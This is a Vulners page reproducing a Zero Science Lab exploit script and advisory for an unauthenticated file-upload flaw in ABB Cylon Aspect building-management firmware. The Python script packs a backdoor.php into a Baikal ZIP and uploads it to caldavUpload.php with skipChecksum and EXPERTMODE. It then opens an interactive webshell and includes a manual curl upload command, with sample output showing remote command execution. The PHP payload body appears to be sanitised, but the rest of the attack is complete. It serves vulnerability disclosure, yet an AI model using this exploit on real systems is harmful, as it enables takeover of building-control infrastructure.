Lucene search
K

ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit

🗓️ 06 Mar 2025 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 215 Views

Exploit in ABB Cylon Aspect 3.08.01 allows unauthorized uploads via caldavUpload.php, enabling tampering.

Code
<html><body><p>#!/usr/bin/env python3
#
#
# ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
#                   Firmware: &lt;=3.08.01
#
# Summary: ASPECT is an award-winning scalable building energy
# management and control solution designed to allow users seamless
# access to their building data through standard building protocols
# including smart devices.
#
# Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
# weakness in them caldavInstall.php, caldavInstallAgendav.php, and
# caldavUpload.php files. All you gotta do is drop that skipChecksum
# beat in the POST vibe, and bam, the system skips all that MD5
# checksum nonsense, no EXPERTMODE needed to crank the funk. This
# lets any slick cat without a login slide in some jacked-up CalDAV
# ZIP files, no questions asked. We're talkin' tampered tunes hittin'
# the deck, openin' the door to messin' with the system or droppin'
# some nasty uploads, all unauthorized-like. That's the funky flaw,
# baby - straight-up tamper town!
#
# --------------------------------------------------------------------------
# 
# ┌──(kali㉿kali)-[~/brainfog]
# └─$ ./funkalicious.py 192.168.73.31
# [*] Rollin' on 05.03.2025 14:57:38
# [*] Funkmaster Webshell Injector PoC - let's get down!
# [*] Groovin' to: http://192.168.73.31
# [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
# [+] Whippin' up some funky ZIP magic...
# [+] Funked-up ZIP is live: baikal-0.6.1.zip
# [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
# [+] Groove size: 3.13 MB, dig it!
# [+] Groovin' through the ZIP contents (key funky files):
#       458  2019-02-19 08:05   baikal/vendor/sabre/vobject/tests/bootstrap.php
#      1696  2019-10-19 03:17   baikal/vendor/sabre/dav/tests/bootstrap.php
#       207  2019-10-09 16:27   baikal/vendor/sabre/http/tests/bootstrap.php
#       293  2012-06-17 14:48   baikal/vendor/twig/twig/test/bootstrap.php
#       144  2025-03-05 19:18   baikal/html/backdoor.php
# [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
# [+] Far out! ZIP got extracted, baby!
# [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
# [+] Righteous! Funkdoor's live and kickin':
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# 
# [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
# funk&gt; id ; pwd
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# /home/baikal/html
# funk&gt; exit
# [+] Wipin' out the funkdoor, peace out...
# [+] Funkdoor's gone, man - clean as a whistle!
# [*] Funked ZIP stashed: baikal-0.6.1.zip
# [*] Manual funk drop: curl -F '[email protected]' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
# [+] Sweepin' up the temp funk files (keepin' the ZIP)...
# 
# --------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
#            GNU/Linux 3.10.0 (x86_64)
#            GNU/Linux 2.6.32 (x86_64)
#            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
#            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
#            PHP/7.3.11
#            PHP/5.6.30
#            PHP/5.4.16
#            PHP/4.4.8
#            PHP/5.3.3
#            AspectFT Automation Application Server
#            lighttpd/1.4.32
#            lighttpd/1.4.18
#            Apache/2.2.15 (CentOS)
#            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
#            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2025-5926
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
# Ref ID: ZSL-2024-5860
# Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
# Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
#
#
# 21.04.2024
#
#

import os
import sys
import random
import shutil
import zipfile
import requests
import datetime
import subprocess
from colorama import init, Fore, Style

init()

# Funky global vibes
FUNKMASTER_URL = None  # To be set by the righteous IP
UPLOAD_JAM = "/caldavUpload.php"
BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
OG_ZIP_VIBE = "baikal-0.6.1.zip"
FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
TEMP_FUNK_PAD = "zipslip_tmp"

# The slickest backdoor groove in town
FUNKDOOR_JAM = """<?php /**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/

?>"""

def check_funky_gear():
    # Checkin' if the cool cats got the unzip groove
    if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
        print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
        exit(1)

def snag_the_og_jam():
    # Snaggin' that OG ZIP from the cosmic interwebs
    if not os.path.exists(OG_ZIP_VIBE):
        print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
        url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
        response = requests.get(url, stream=True)
        with open(OG_ZIP_VIBE, "wb") as f:
            f.write(response.content)
    else:
        print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")

def whip_up_funky_zip():
    # Cookin' up a righteous exploit ZIP, baby
    print("[+] Whippin' up some funky ZIP magic...")
    if os.path.exists(TEMP_FUNK_PAD):
        shutil.rmtree(TEMP_FUNK_PAD)
    os.makedirs(TEMP_FUNK_PAD, exist_ok=True)
    
    # Unpackin' the OG vibe on the down-low
    subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)
    
    # Settin' up the baikal funk shack
    baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
    if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
        os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)
    
    # Droppin' a sneaky temp funkdoor
    temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
    with open(temp_funkdoor, "w") as f:
        f.write(FUNKDOOR_JAM)
    
    # Zippin' it up with the funkdoor beat
    with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
        for root, _, files in os.walk(baikal_pad):
            for file in files:
                full_path = os.path.join(root, file)
                arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
                zf.write(full_path, arcname)
        zf.write(temp_funkdoor, "baikal/html/backdoor.php")
    
    # Gettin' the funky hash and size, yo
    md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
    print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
    print(f"[+] Funky MD5 hash: {md5}")
    print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")

def check_the_funk_vibe():
    # Peekin' at the ZIP's funky insides
    print("[+] Groovin' through the ZIP contents (key funky files):")
    result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
    for line in result.stdout.splitlines():
        if "backdoor.php" in line or "bootstrap.php" in line:
            print(line)

def lay_down_the_funk(target_url):
    # /home/MIX_CMIX/htmlroot/caldavInstall.php:
    # ------------------
    # 01: <?php # 02: 
    # 03: $badassMode = false;
    # 04: if (isset($_GET["EXPERTMODE"])) {
    # 05:    $badassMode = true;
    # 06: }
    # 07: ?>
    # ------------------
    # Layin' down the funk to the server, man
    url = f"{target_url}{UPLOAD_JAM}"
    print(f"[+] Droppin' the funk bomb at {url}...")
    files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
    data = {"skipChecksum": "1", "EXPERTMODE": "1"}
    response = requests.post(
        url,
        files=files,
        data=data,
        timeout=10
    )
    if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
        print("[+] Far out! ZIP got extracted, baby!")
    else:
        print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
        print(response.text)

def jam_with_funkdoor(target_url):
    # Jamming with the funkdoor, testing the vibe
    url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
    print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
    response = requests.post(url, data={'cmd': 'id'}, timeout=5)
    
    if response.status_code == 200 and "uid=" in response.text:
        print("[+] Righteous! Funkdoor's live and kickin':")
        print(response.text)
        print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")
        
        while True:
            cmd = input("funk&gt; ").strip()
            if cmd.lower() in ["exit", "quit"]:
                print("[+] Wipin' out the funkdoor, peace out...")
                cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
                if cleanup_response.status_code == 200:
                    print("[+] Funkdoor's gone, man - clean as a whistle!")
                else:
                    print("[-] Cleanup got funky, check it out manually, dude.")
                break
            
            shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
            if shell_response.status_code == 200:
                print(shell_response.text.strip())
            else:
                print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
                print(shell_response.text)
    else:
        print("[-] Funkdoor ain't answerin' the call, man.")
        print(f"Response: {response.status_code}")

def clean_the_funk_pad():
    # Clearin' out the temp funk pad, keepin' it real
    print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
    if os.path.exists(TEMP_FUNK_PAD):
        shutil.rmtree(TEMP_FUNK_PAD)

def main():
    global start
    start = datetime.datetime.now()
    start = start.strftime("%d.%m.%Y %H:%M:%S")
    title = "\033[91mABB Cylon® ASPECT® Supervisory Building Control v3.08.01\033[0m"
    subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
    advis = "\033[91mZSL-2025-5926\033[0m"
    prj = f"""-
                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
    
 {title}
 {subtl}
                    {advis}
    """ 
    
    if len(sys.argv) &lt; 2:
        colors = [Fore.RED,
                  Fore.GREEN,
                  Fore.YELLOW,
                  Fore.MAGENTA,
                  Fore.CYAN,
                  Fore.BLUE]
        lines = prj.strip().split("\n")
        for line in lines:
            color = random.choice(colors)
            print(f"{color}{line}{Style.RESET_ALL}")
        print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    global FUNKMASTER_URL
    FUNKMASTER_URL = f"http://{target_ip}"
    
    print("[*] Rollin' on", start)
    print("[*] Funkmaster Webshell Injector PoC - let's get down!")
    print(f"[*] Groovin' to: {FUNKMASTER_URL}")
    check_funky_gear()
    snag_the_og_jam()
    whip_up_funky_zip()
    check_the_funk_vibe()
    lay_down_the_funk(FUNKMASTER_URL)
    jam_with_funkdoor(FUNKMASTER_URL)
    print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
    print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
    clean_the_funk_pad()

if __name__ == "__main__":
    main()
</ip_address></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8
215